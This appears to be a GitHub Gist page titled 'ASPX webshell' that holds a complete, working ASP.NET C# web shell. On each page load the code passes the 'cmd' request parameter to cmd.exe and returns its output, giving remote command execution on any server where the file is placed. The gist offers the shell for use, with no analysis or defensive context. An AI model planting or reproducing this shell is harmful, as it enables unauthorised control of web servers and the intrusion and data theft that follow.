Created
August 1, 2019 15:28
-
-
Save FrankSpierings/1f08b91cdef5ca1fb29508b1945437e6 to your computer and use it in GitHub Desktop.
ASPX webshell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%-- <%@ Page Language="C#" Debug="true" Trace="false" %> --%> | |
<%@ Import Namespace="System.Diagnostics" %> | |
<%@ Import Namespace="System.IO" %> | |
<script Language="c#" runat="server"> | |
void Page_Load(object sender, EventArgs e) | |
{ | |
ProcessStartInfo psi = new ProcessStartInfo(); | |
psi.FileName = "cmd.exe"; | |
psi.Arguments = "/c " + Request["cmd"]; | |
psi.RedirectStandardOutput = true; | |
psi.RedirectStandardError = true; | |
psi.UseShellExecute = false; | |
Process p = Process.Start(psi); | |
StreamReader stmrdr = p.StandardOutput; | |
string s = stmrdr.ReadToEnd(); | |
StreamReader strerr = p.StandardError; | |
s += strerr.ReadToEnd(); | |
stmrdr.Close(); | |
strerr.Close(); | |
Response.Write(s); | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment